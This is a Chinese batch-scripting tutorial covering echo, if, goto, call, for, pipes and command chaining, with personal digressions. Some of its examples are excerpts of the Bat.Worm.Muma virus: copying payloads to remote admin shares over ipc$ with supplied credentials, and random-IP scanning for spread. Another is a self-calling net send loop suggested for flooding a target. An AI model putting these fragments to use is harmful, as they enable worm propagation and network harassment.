先不要被这一堆的东西给吓怕了，静下心来仔细的看（回想一下第一章中第一段是怎么写的！！）。已经给出了每一行命令的解释，两个冒号后面的内容为前一行内容解释的E文（害怕E文的朋友也不用担心，都很easy，一看就懂了，实在不懂了不会查词典啊，这么懒？），在脚本执行时不显示，也不起任何作用。倒数第5行行首有一个冒号，可不是笔误哦！具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序，必须和edit程序以及你要编辑的源代码（当然还有这个脚本，废话！）一起在当前目录中。使用这个批处理脚本，可以最大可能的减少手工输入，整个过程中只需要按几下回车键，即可实现从汇编源代码到可执行exe文件的自动化转换，并具备智能判断功能：如果汇编时源代码出现错误（汇编不成功），则自动暂停显示错误信息，并在按任意键后自动进入编辑源代码界面；如果源代码汇编成功，则进行连接，并在连接后自动执行生成的exe文件。另外，由于批处理命令的简单性和灵活性，这个脚本还具备良好的可改进性，简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友，一定别忘了实习一下！

在这个脚本中出现了如下几个命令：@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。

1、@

这个符号大家都不陌生，email的必备符号，它怎么会跑到批处理中呢？呵呵，不是它的错，批处理本来就离不开它，要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身（多么绕口的一句话！）。呵呵，通俗一点说，行首有了它的话，这一行的命令就不显示了。在例五中，首行的@echo off中，@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧？还是不太懂？没关系，看完echo命令简介，自然就懂了。

2、echo

中文为“反馈”、“回显”的意思。它其实是一个开关命令，就是说它只有两种状态：打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态（off或on）执行echo off将关闭回显，它后面的所有命令都不显示命令本身，只显示执行后的结果，除非执行echo on命令。在例五中，首行的@命令和echo off命令联合起来，达到了两个目的：不显示echo off命令本身，不显示以后各行中的命令本身。的确是有点乱，但你要是练习一下的话，3分钟包会，不会的退钱！

echo命令的另一种用法一：可以用它来显示信息！如例五中倒数第二行，Default BAT file name is START.BAT将在脚本执行后的窗口中显示，而echo命令本身不显示（为什么？？）。
echo命令的另一种用法二：可以直接编辑文本文件。例六：
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat

以上脚本内容的编辑方法是，直接是命令行输入，每行一回车。最后就会在当前目录下生成一个a.bat的文件，直接执行就会得到结果。

3、::

这个命令的作用很简单，它是注释命令，在批处理脚本中和rem命令等效。它后面的内容在执行时不显示，也不起任何作用，因为它只是注释，只是增加了脚本的可读性，和C语言中的/*…………*/类似。地球人都能看懂，就不多说了。

4、pause

中文为“暂停”的意思（看看你的workman上），我一直认为它是批处理中最简单的一个命令，单纯、实用。它的作用，是让当前程序进程暂停一下，并显示一行信息：请按任意键继续. . .。在例五中这个命令运用了两次，第一次的作用是让使用者看清楚程序信息，第二个是显示错误的汇编代码信息（其实不是它想显示，而是masm程序在显示错误信息时被暂它停了，以便让你看清楚你的源代码错在哪里）。

5、:和goto

为什么要把这两个命令联合起来介绍？因为它们是分不开的，无论少了哪个或多了哪个都会出错。goto是个跳转命令，:是一个标签。当程序运行到goto时，将自动跳转到:定义的部分去执行了（是不是分不开？）。例五中倒数第5行行首出现一个:，则程序在运行到goto时就自动跳转到:标签定义的部分执行，结果是显示脚本usage（usage就是标签名称）。不难看出，goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方，它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法，参照例五。

goto命令的另一种用法一：提前结束程序。在程序中间使用goto命令跳转到某一标签，而这一标签的内容却定义为退出。如：

……
goto end
……
:end

这里:end在脚本最后一行！其实这个例子很弱智，后面讲了if命令和组合命令你就知道了。

6、%

这个百分号严格来说是算不上命令的，它只是批处理中的参数而已（多个%一起使用的情况除外，以后还将详细介绍），但千万别以为它只是参数就小看了它（看看例五中有多少地方用到它？），少了它批处理的功能就减少了51%了。看看例七：

net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32\10.bat -r -h -s

以上代码是Bat.Worm.Muma病毒中的一部分，%1代表的IP，2%代表的username，3%代表password。执行形式为：脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat，则执行形式如下：a IP username password。这里IP、username、password是三个参数，缺一不可（因为程序不能正确运行，并不是因为少了参数语法就不对）这样在脚本执行过程中，脚本就自动用用你的三个参数依次（记住，是依次！也是一一对应的关系。）代换1%、2%和3%，这样就达到了灵活运用的目的（试想，如果在脚本中直接把IP、username和password都定义死，那么脚本的作用也就被固定了，但如果使用%的话，不同的参数可以达到不同的目的，是不是更灵活？）。

关于这个参数的使用，在后续章节中还将介绍。一定要非常熟练才行，这需要很多练习过程，需要下点狠工夫！

这一章就写到这里了。可能有朋友问了：怎么没介绍if命令？呵呵，不是我忘了，而是它不容易说清楚，下一章再讲了！这一章讲的这点东西，如果你是初学者，恐怕也够消化的了。记住一句话：DOS是批处理的BODY，任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里，你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢？很简单，就是一个DOS命令的集合而已，相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。

烦！就好象一个半老女人到了更年期，什么事都想唠叨几句，什么事都感到不舒服，看谁谁不爽。明知山有虎，偏向虎山行，最后留下一身伤痕无功而返时，才发现自己竟然如此脆弱，如此渺小，如此不堪一击。徘徊在崩溃的边缘，突然回想起了自己最后一次扁人的那一刻，还真有点怀念（其实我很不喜欢扁人，更不喜欢被人扁）。我需要发泄，我用手指拼命的敲打着键盘，在一阵接一阵有节奏的声音中，屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗？中国人还是厉害，早在几千年前孔老夫子就说过“唯女子与小人，难养也”，真**有先见之明，佩服！虽然是在发泄，不过大家请放心，以我的脾气，既然决定写这篇教程，就一定会尽力去写好，写完美，绝对不给自己留下遗憾，要不这教程就不是我写的！

曾经有一篇经典的批处理教程出现在你的屏幕上，你没有保存，直到找不到它的链接你才后悔莫及，人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会，你会对那篇教程说三个字：我爱你！如果非要给这份爱加上一个期限，你希望是100年。因为100年后，你恐怕早已经挂了！而现在，你的屏幕上出现了这篇你正在看的批处理教程，虽然不如你曾经看的那篇经典，但如果勉强还过的去。你会爱它吗？时间会有50年那么长吗？答案是：试试看吧。

批处理脚本中最重要的几个命令，将在这一章详细介绍，但是很遗憾，有些细节到现在我都没掌握的很好，甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力，即使一直都没有收获。所以可能讲的会比较笼统，但我会告诉你方法，剩下的就是时间问题了，需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒，滴水穿石非一日之功。有些事情，比如学批处理，比如爱一个人，都是不能速成的，甚至还会有付出艰辛而收获为甚微的情况。再次重申，看这篇教程的时候，一定要静下心来，除非你已经掌握了这篇教程的所有东西----但那也就不必看了，浪费时间！

7、if

接上一章，接着讲if命令。总的来说，if命令是一个表示判断的命令，根据得出的每一个结果，它都可以对应一个相应的操作。关于它的三种用法，在这里分开讲。

(1)、输入判断。还是用例五里面的那几句吧：

if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage

这里判断输入的参数情况，如果参数为空（无参数），则跳转到usage；如果参数为/?或help时（大家一般看一个命令的帮助，是不是输入的/?或help呢，这里这么做只是为了让这个脚本看起来更像一个真正的程序），也跳转到usage。这里还可以用否定形式来表示“不等于”，例如：if not "%1"=="" goto usage，则表示如果输入参数不为空就跳转到usage（实际中这样做就没意义了，这里介绍用法，管不了那么多了，呵呵。）是不是很简单？其实翻译成中文体会一下就understand了。

(2)、存在判断。再看例二里这句：

if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif

如果存在那些gif文件，就删除这些文件。当然还有例四，都是一样的道理。注意，这里的条件判断是判断存在的，当然也可以判断不存在的，例如下面这句“如果不存在那些gif文件则退出脚本”：if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。

(3)、结果判断。还是拿例五开刀（没想到自己写的脚本，竟然用处这么大，呵呵）：

masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj

先对源代码进行汇编，如果失败则暂停显示错误信息，并在按任意键后自动进入编辑界面；否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方，&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码（也叫错误码，DOS程序在运行完后都有返回码），如果和定义的错误码符合（这里定义的错误码为1），则执行相应的操作（这里相应的操作为pause & edit %1.asm部分）。

另外，和其他两种用法一样，这种用法也可以表示否定。用否定的形式仍表达上面三句的意思，代码变为：
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm

看到本质了吧？其实只是把结果判断后所执行的命令互换了一下，“if not errorlevel 1”和“if errorlevel 0”的效果是等效的，都表示上一句masm命令执行成功（因为它是错误判断，而且返回码为0，0就表示否定，就是说这个错误不存在，就是说masm执行成功）。这里是否加not，错误码到底用0还是1，是值得考虑的两个问题，一旦搭配不成功脚本就肯定出错，所以一定要体会的很深刻才行。如何体会的深刻？练习！自己写一个脚本，然后把有not和没有not的情况，返回码为0或1的情况分别写进去执行（怎么，嫌麻烦啊？排列组合算一下才四中情况你就嫌麻烦了？后面介绍管道命令和组合命令时还有更麻烦的呢！怕了？呵呵。），这样从执行的结果中就能很清楚的看出这两种情况的区别。

这种用errorlevel结果判断的用法是if命令最难的用法，但也恰恰是最有用的用法，如果你不会用errorlevel来判断返回码，则要达到相同的效果，必须用else来表示“否则”的操作，是比较麻烦的。以上代码必须变成：

masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm

关于if命令的这三种用法就say到这里，理解很简单，但应用时就不一定用的那么得心应手，主要是熟练程度的问题。可能有的朋友有点惊讶，我怎么没给出类似下面三行的用法介绍，是因为下面三行是if命令帮助里对它自身用法的解释，任何人只要一个“if /?”就能看到，我没有必要在这里多费口舌；更重要的原因，是我觉得这样介绍的不清楚，看的人不一定看的懂，所以我采用上面自己对if命令的理解来介绍。一定要注意的是，这三种用法的格式各不相同，而且也是不能改变的，但实际上可以互换（以为从本质上讲，这三种用法都是建立在判断的基础上的，哲学教我们学会透过现象看事物本质！）。有兴趣的朋友可以自己研究一下。

IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call

学过汇编或C的朋友，肯定都知道call指令表示什么意思了，在这里它的意思其实也是一样的。在批处理脚本中，call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八（默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat）：

start.bat：
……
CALL 10.BAT 0
……

10.bat：
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt

ipc.bat：
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

有没有看出什么不对的地方？没看出来啊？没看出来就对了，其实就没有不对的地方嘛，你怎么看的出来！从上面两个脚本，你可以得到如下信息：1、脚本调用可以灵活运用，循环运用、重复运用。2、脚本调用可以使用参数！关于第一点就不多说了，聪明的你一看就应该会，这里说一下第二点。

在start.bat中，10.bat后面跟了参数0，在执行时的效果，其实就是把10.bat里的参数%1用0代替。在start.bat中，ipc.bat后面跟了参数ipcfind.txt（一个文件，也可以做参数），执行时的效果，就是用ipc.bat中的每一行的三个变量（这里不懂没关系，学过for命令后就懂了），对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的，使用时需要好好体会。在初学期间，可以先学习只调用脚本，至于连脚本的参数一起使用的情况，在后面的学习中自然就会有比较深刻的理解，这是因为当你已经可以灵活运用批处理脚本后，如何使代码写的更精简更完美更高效就自然包括到了考虑的范围，这时候你就会发现在调用脚本时直接加入参数，可以使代码效率加倍。By the way，上面的这几个脚本，都是Bat.Worm.Muma病毒的一部分，在后面的教程里，大家将有机会见到这个病毒的真面目。
那是不是说，在同一个目录下至少存在两个批处理脚本文件（只有一个你调用谁？）？呵呵，注意了，这句话错了！！只有一个照样可以调用----调用自身！看例九（默认脚本文件名a.bat）：

net send %1 This is a call example.
call a.bat

这两句一结合，效果自然不怎么样，因为只有一台机器来发消息，谁怕谁啊？我给你来个礼尚往来！可如果有100台机器同时执行，而且每台机器开10和窗口同时向一个目标机器发消息的话，呵呵。这里call a.bat的作用就是调用自身，执行完前一句net send命令后再调用自身，达到了循环执行的目的。

给出一个很有意思的脚本，有兴趣的朋友可以实验一下。例十（默认脚本文件名为a.bat）：

call a.bat

一定要在DOS窗口下执行，否则只会看到一个窗口一闪而过，看不到最后结果。等执行完后，当脚本被执行了1260次，别忘了想一下到底是为什么！爱情有时候跟这个脚本一样，一旦陷入死循环，最后的结果都是意想不到的。只是爱情，绝对不会等到被毫无理由的循环这么多次，也许在第三次时就出现了love is aborted的提示。

9、find

这是一个搜索命令，用来在文件中搜索特定字符串，通常也作为条件判断的铺垫程序（我怎么突然想起了这四个字？）。这个命令单独使用的情况在批处理中是比较少见的，因为没什么实际意义。还是借例三来说明：

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

先用netstat命令检查是否有冰河默认的端口7626在活动，并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容，再在列出的内容中搜索字符串“7626” ，发现有的话则提示中了冰河，否则退出。看，find命令其实就这么简单，但有一点必须要注意到：如果不使用type命令列出a.txt中的内容，而是直接使用find命令在a.txt中找“7626”（find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"），就必须得给出这个a.txt的绝对路径（我试过了，find并没有默认路径就是当前路径的功能，必须手动指定。也许是我错了，欢迎指正）。因为在find命令的帮助里有这么一句话：如果没有指定路径，find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的type命令了。

至于find命令的其他几个参数如v、n、i等，有兴趣的朋友自己去研究吧，这已经属于DOS学习的内容了，这里就不做介绍。关于find命令和其他命令的一些更精妙的用法（有些简直令人叫绝），后续的教程中将介绍，希望关注。

10、for、set、shift

为什么把这三个命令放到一起来讲？原因除了我说明外，恐怕谁也想不到！很简单的一句话：其实我也不太懂！是的，对于这两个命令，我是从研究Bat.Worm.Muma病毒开始学习的，时间过去了不少，但还是没完全搞明白，我怕讲出来连自己都看不懂，我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你，如何让这两个命令给自己留一个初步的印象，其实也就是这两个命令的入门，而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令（特别是for）谈何容易！也许你会表扬我说我诚实、不懂就不懂；也许你会骂我，让我既然不懂就赶紧滚蛋，不要在这里丢人显眼；也许你还会说一些别的这样那样好听或不好听的话，都随便你了，即使我不同意你说的话，我也会誓死捍卫你说话的权利。看例十一：

@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit

执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件，里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂，我就不多说了。我在网上曾经找了很长时间这三个命令的教程，但都不理想，基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后，一定要写一篇用自己的文字总结出来的for、set和shift教程（关于shift命令，后面介绍批处理的参数时还将涉及到），一定会的，这是我的心愿之一！需要注意的一点是，这三个命令的帮助里 ，介绍的都比较死板，虽然也举了一些例子，但这是远远不够的。要掌握这两个命令，最需要的就是耐心！没写错，就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了，要进一步练习领会这两个命令，难道不需要更大的耐心？实战练习的机会我会留给你的，关键还是那句话，看你有没有耐心去研究了。看看例十二：

START.BAT：
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
这是Bat.Worm.Muma病毒的起始脚本，设置了病毒运行的环境变量。是不是看的头都大了？又忘了写在第一章第一段的那句话（静下心来！），你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人，你得学会宽容，打不得骂不得，用你宽大的胸怀去包容她的一切，即使你发现爱她的过程如看上面代码的过程一样让你头大，但你还是得爱下去----爱需要理由吗？不需要吗？需要吗？不需要吗……等到风平浪静后，最直观的收获就是，你的耐心变的前所未有的充足，面对她的复杂和善变，你自己会处变不惊，以自己的方式去从容应付曾经应付不了的场面，即使到最后一身伤痕，也会感慨曾经的举动有多么伟大。

没错，这就是批处理的魅力，这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强奸，痛并快乐着。

不得不再次重申一遍，各种DOS命令是批处理的BODY（我实在找不出一个更合适的词来形容他们之间的关系），学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令，以及ping、net、cmd、at、sort、attrib、fc、find等外部命令，在批处理里的应用非常广泛。这篇教程的作用，是教你认识批处理，以及如何利用DOS命令组合出来一个完美的批处理脚本，去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的，这已经超出了本文的范畴，在此就不赘述了。

不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》，每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东，可这并不妨碍我喜欢音乐，喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女，绝望的徘徊在曾经辉煌的红灯区，用一脸的木然瞟一眼来来去去的人群，默默的回忆自己并不光彩的过去，幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们，才突然间发现上帝的公平，和这种公平的残忍。
可以说，批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍，原因我已经说了，因为我也是个菜，我也不太懂----但我正在学！你呢？今天又去了一趟图书馆，淘金一样发现了一本叫《DOS批文件》的东东，藏在一个角落里落满了灰，五本摞一起就跟砖头一样厚了。大概翻了一下，里面介绍了很多比较底层和基础的东西，虽然从思路上讲，已经有点time out了，很多东西已经基本没有利用的价值（这就是信息时代的更新速度），但还是很值得看的。于是打算下午淘过来，放假回去了再好好研究一番，连同那几个不熟悉的命令一起搞熟了，再续写这篇教程。我始终坚信，没有最好只有更好。

但是很可惜，等到下午再去的时候，图书馆楼梯口已经立了一个牌子，上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章，正在这时又得到一个“振奋人心”的消息：期末考试有一科挂了，而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头，整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门，学校里的人越来越少，迎面过来的几个同学也都一身行李，忙碌着准备回家过年，内心的孤寂和失落如同夏日里暴雨前的乌云，迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆，还能怎么样，连期末考试都应付不了的失败男人。

“课间休息”时间好象长了点，呵呵，上课了！从这一章开始，将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的，如同爱一个人时不一定非得每天去陪，但如果少了这个过程，事情就会变的复杂而不完美，所以我认为管道命令和组合命令是批处理的调味剂，几乎是少不了的。

下面从管道命令讲起。常用的管道命令有以下这些：|、>、>>

11、|

这个命令恐怕大家不是很陌生，经常操作DOS的朋友都应该知道，当我们查看一个命令的帮助时，如果帮助信息比较长，一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕，而是直接显示到帮助信息的最后。如在提示符下输入help回车时，就会看到当前DOS版本所支持的所有非隐含命令，但你只能看到最后的那些命令，前面的早就一闪而过了，如何解决这个问题？看例十三：

help | more

回车后会发现显示满一屏幕后就自动暂停，等候继续显示其他信息。当按写回车时，变成一个一个的出现；按下空格键时一屏幕一屏幕显示，直到全部显示完为止；按其他键自动停止返回DOS。

为什么会出现上述现象？答案很简单，这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令，对理解|命令的用法有很大帮助。

11.1、help命令。其实这个命令是不需要多说的，但在上述例子中help命令的用法比较特殊，直接在DOS提示符下输入help命令，结果是让DOS显示其所支持的所有非隐含命令，而在其他地方用help命令，如输入net help回车，则是显示net命令的帮助信息。

11.2、more命令。可能很多朋友以前就没有接触过这个命令，这个命令在Linux下的用处非常广泛，也是管道命令之一。大家可以找一篇比较长的文章（a.txt）在DOS提示符下输入如下两个命令去比较一下差别：more a.txt和type a.txt。利用more命令，可以达到逐屏或逐行显示输出的效果，而type命令只能一次把输出显示完，最后的结果就是只能看到末尾的部分。在例十三里，more命令的作用就是让输出的信息逐屏或逐行显示。
看到这里，你是否已经能隐约感受到了|命令的作用了？没错，它的作用，就是把前一命令的输出当后一命令的输入来用的。在例十三里，前一命令的输出，就是help命令执行后显示的DOS所支持的所有非隐含命令，而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的：

help > a.txt
more a.txt
del a.txt

这里利用另一管道命令>生成了一个a.txt文件作为中间环节，在用more命令查看a.txt文件后再删除a.txt文件（例十三的所有操作是在内存中进行的，不生成文件）。可以看出，正确使用管道命令|可以带来事半功倍的效果。

结合例十三和例十四，以及前面的例九再体会一遍：|命令的作用，就是让前一命令的输出当做后一命令的输入。

12、>、>>

这两个命令的效果从本质上来说都是一样的，他们都是输出重定向命令，说的通俗一点，就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是，>会清除掉原有文件中的内容后把新的内容写入原文件，而>>只会另起一行追加新的内容到原文件中，而不会改动其中的原有内容。例十五：

echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat

依次在DOS提示符下输入以上各行命令，一行一个回车，将在当前目录下生成一个a.bat文件，里面的内容如下：

@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit

看到这里，你得到了多少信息？1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本，而不需要专门的文本编辑工具；2、管道命令>和>>的区别如上所述。如果这里只用>命令来完成上面操作，最后也会生成一个a.bat，但里面的内容就只剩下最后一行exit了。所以>和>>一般都联合起来用，除非你重定向的输出只有一行，那么就可以只用>了。结合例一再仔细体会输出重定向管道命令>和>>的用法。

13、<、>&、<&

这三个命令也是管道命令，但它们一般不常用，你只需要知道一下就ok了，当然如果想仔细研究的话，可以自己查一下资料。

<，输入重定向命令，从文件中读入命令输入，而不是从键盘中读入。
>&，将一个句柄的输出写入到另一个句柄的输入中。
<&，刚好和>&相反，从一个句柄读取输入并将其写入到另一个句柄输出中。

关于这三个管道命令的举例，在后面批处理脚本的精妙应用中还将涉及到。

下面介绍组合命令：&、&&、||

组合命令，顾名思义，就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的，而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了，那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用，就如同给爱人陪不是，说一句是说，说十句也是说，不一次把好话都说了出来，效果可能会好些----当然得排除一种特殊情况：这些话是否有先后顺序，有些话是否可以同时说。在批处理脚本里也一样，有些时候某些命令是不能同时执行的，后面给你说。

刚刚又送走了一个同学，人去楼空的感觉越来越明显，望着空荡荡的床铺，平日里喧闹的宿舍就只剩下我一个人了，整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败！我感到快要呼吸不过来，这种失败的压力简直令我窒息，简直让我的手接收不到大脑的信号，简直让这篇未完成的教程夭折。但我能怪谁？

忙碌了一学期要过年了却挂了科，失败；挂了科也倒罢了，竟然一个人拖全班的后退，失败中的失败；更失败的，是在这最失落的时候，竟然找不到一个人可以倾诉；然而最失败的，是突然发现自己竟然如此脆弱，如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题：为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春，风一样的年龄，火一样不安的心。不再爱了，我不要再一个人的时候苦苦等待；不再爱了，我不要在你给的囚笼里怜悯的爱；不再爱了，我不要在别人的视线里如此可笑；不再爱，我不再爱。就算塌下来，我也要一个人扛着，头不能低腰不能弯，不能喘息不能倾诉，因为虽然失败，但还是男人，是男人就不能向困难低头！

14、&

这可以说是最简单的一个组合命令了，它的作用是用来连接n个DOS命令，并把这些命令按顺序执行，而不管是否有命令执行失败。例十六：

copy a.txt b.txt /y & del a.txt

其实这句和move a.txt b.txt的效果是一样的，只不过前者是分了两步来进行的（在后面还将涉及到具体使用哪种方法的问题）。这个命令很简单，就不多费口舌了，唯一需要注意的一点是，这里&两边的命令是有执行顺序的，从前往后执行。

15、&&

切记，这里介绍的几个命令都是组合命令，所以他们前后都必须都有其他命令（要不如何组合？）。这个命令也不例外，它可以把它前后两个命令组合起来当一个命令来用，与&命令不同之处在于，它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错，一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七：

dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www

如果远程主机存在user.mdb，则copy到本地e:\backup\www，如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢？呵呵。其实它和下面这句的作用是一样的：

if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www

至于你喜欢用哪个就随便了，我没办法判断dir和if两个命令哪一个执行效率更高，所以不知道用哪个更好，呵呵。

你是否还记得“有些命令是不能同时执行的”？你是否相信这句话？当然得相信，不信就给你出道题：把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题？有朋友说，这还不是很easy的问题吗？同时执行两个dir，然后把得到的结果>到a.txt里就ok了嘛，看例十八：

dir c:\ && dir d:\ > a.txt

仔细研究一下这句执行后的结果，看看是否能达到题目的要求！错了！这样执行后a.txt里只有D盘的信息！为什么？就因为这里&&命令和>命令不能同时出现一个句子里（批处理把一行看成一个句子）！！组合命令&&的优先级没有管道命令>的优先级高（自己总结的，不妥的地方请指正）！所以这句在执行时将本分成这两部分：dir c:\和dir d:\ > a.txt，而并不是如你想的这两部分：dir c:\ && dir d:\和> a.txt。要使用组合命令&&达到题目的要求，必须得这么写：

dir c:\ > a.txt && dir d:\ >> a.txt

这样，依据优先级高低，DOS将把这句话分成以下两部分：dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的几句的差别比较特殊，值得好好研究体会一下。

当然这里还可以利用&命令（自己想一下道理哦）：

dir c:\ > a.txt & dir d:\ >> a.txt

16、||

这个命令的用法和&&几乎一样，但作用刚好和它相反：利用这种方法在执行多条命令时，当遇到一个执行正确的命令就退出此命令组合，不再继续执行下面的命令。题目：查看当前目录下是否有以s开头的exe文件，如果有则退出。例十九：

@echo off
dir s*.exe || exit

其实这个例子是有破绽的，你看出来了吗？其实很简单，自己试试就知道了嘛：如果存在那个exe文件，就退出；如果不存在那个exe文件，也退出！为什么？因为如果不存在那个.exe文件，则前一条命令dir s*.exe执行肯定是不成功的，所以就继续执行exit，自然就退出了，呵呵。那么如何解决题目给出的问题呢？看例二十：

@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit

这样执行的结果，就能达到题目的要求，是否存在s*.exe将出现两种结果。这里加暂停的意思，当然是让你能看到echo输出的内容，否则一闪而过的窗口，echo就白写了。

给出两个更好研究优先级（同时也是更难理解）的脚本，仔细研究它们的区别，以便彻底理解各种命令的优先级顺序，对以后自己利用这些命令写脚本有很大的好处----不会出错！OK，请看例二十一和例二十二：
例二十一：

@echo off
dir a.ttt /a & dir a.txt || exit

例二十二：

@echo off
dir a.ttt /a && dir a.txt || exit

警告：患有心脑血管病的朋友请不要研究以上两例，否则轻者头大如斗，重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责，与本人和本论坛无关。特此警告！

有关管道命令和组合命令就大概介绍到这里了，不知道聪明的你是否理解？呵呵，能理解就成天才了，除非你以前就已经掌握！千万别小看了这几个鬼命令，大棒槌是我的说，简直就不是人学的东西！但我还是静下心来研究了一番，最后得出的结论如上所述，已经一点不剩的交给你了，希望你好好收藏并消化吸收，当然有错误被你发现了，或者不完整的地方被你看出来了，请赶紧告诉我一声！

